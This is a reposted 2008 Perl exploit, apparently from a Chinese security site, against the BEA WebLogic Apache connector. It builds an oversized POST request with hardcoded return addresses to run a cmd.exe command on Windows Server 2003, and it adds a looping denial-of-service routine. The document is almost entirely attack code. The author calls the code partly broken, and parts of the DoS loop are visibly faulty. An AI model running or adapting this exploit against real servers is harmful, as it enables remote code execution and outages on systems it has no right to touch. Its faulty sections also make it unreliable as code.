Bea Weblogic Apache Connector Code Exec / Denial of Service Exploit
|
来源:www.vfcocus.net 作者:KingCope 发布时间:2008-07-18
|
|
#// Bea Weblogic -- Apache Connector Remote Exploit +-1day #// Should stack break latest Windows Server 2003 <address space randomization> #// BIG THANKS TO #// "dong-hun you"(Xpl017Elz) in INetCop - for his paper #// "Title: Advanced exploitation in exec-shield (Fedora Core case study)" #// His technique works fine against Windows 2003 latest version. #// #// The code is broken, since I am chilling out for now #// SKIDDI BULLETPROOF #// You may fixup the DoS Code, Windows Code Works on English OSs #// KingCope -- July/2008
use IO::Socket; use strict;
$|=1; my $apacheport = 80; #// Touch ### my $wrongusage = 0; my $dodoshost = 0;
############################################################################### ### Target List Entries |Operating System and Patch Level / Kernel Version| ############################################################################### my @targets = (); my @tgtname = (); print "-" x 80; $targets[0] = "1 Windows Server 2003 Enterprise Edition SP2 RC1 -- English\n"; $tgtname[0] = $targets[0]; $targets[100] = "2 Denial of Service\n"; $tgtname[100] = $targets[100];
############################################################################### ### Print Of Target List And Usage ############################################################################### print "\n";
print "Bea Weblogic -- Apache Connector Remote Exploit\n\n"; print "Target List:\n";
foreach my $target (@targets) { print $target; } print "\n\n"; print "-" x 80; print "Usage: perl bea-unlock.pl <hostname or ip> <target>"; print "\n";
printusage: if ($wrongusage == 1) { exit; }
################################################################################ ### Argument Parsing ################################################################################ my $host = $ARGV[0]; my $target = $ARGV[1];
if (($host == "") || ($target == "")) { $wrongusage = 1; goto printusage; }
################################################################################ ### Setup Socket ################################################################################ setupsocket: my $sock = IO::Socket::INET->new(PeerAddr => $host, PeerPort => $apacheport, Proto => 'tcp'); if ($dodoshost == 1) { goto doshost; } ################################################################################ ### Select Target ################################################################################ if ($target == 1) { print "Exploiting $host -- " . $tgtname[$target-1]; goto winexpl; }
if ($target == 2) { print "Attacking Host $host -- Denial of Service -- Wait ...\n"; goto doshost; }
################################################################################ ### Exploitation of Windows Versions ################################################################################ winexpl: ####WORKS [LOOKUP THE HOSTNAME] my $command = "echo works > c:\\desiredfile.txt"; my $cmds = "cmd.exe /c \"$command\"|";
my $sc = $cmds;
#### STACKBREAKING WITH WINEXEC() ON WINDOWS
my $c = "C" x 97 . pack("L", 0x10013930) x 3 . pack("L", 0x10013930) . pack("L", 0x10013931) . pack("L",0x77EA411E); my $a = $cmds . "A" x (4000-length($cmds)) . $c;
print $sock "POST /.jsp $a\r\nHost: localhost\r\n\r\n";
while (<$sock>) { print; } ################################################################################ ### Denial of Service Against The Apache Frontend Module For Bea Weblogic ################################################################################ ####NEEDS SOME FIXUP doshost: $dodoshost = 1;
while(1) { $a = "A" x 6000; goto setupsocket; print $sock "POST /.jsp $a\r\n\r\nHost: localhost\r\n\r\n"; while(read($sock,$_,100)) { my $dosagain = 0; if ($dosagain eq 1) { "Server is down now\n"; exit; } if ($_ =~ /Server/) { print "."; $dosagain = 1; next; } } }
|
|
|
[推荐]
[评论(0条)]
[返回顶部] [打印本页]
[关闭窗口] |
|
|
|
|
|
|
推荐广告 |
|
|
|
|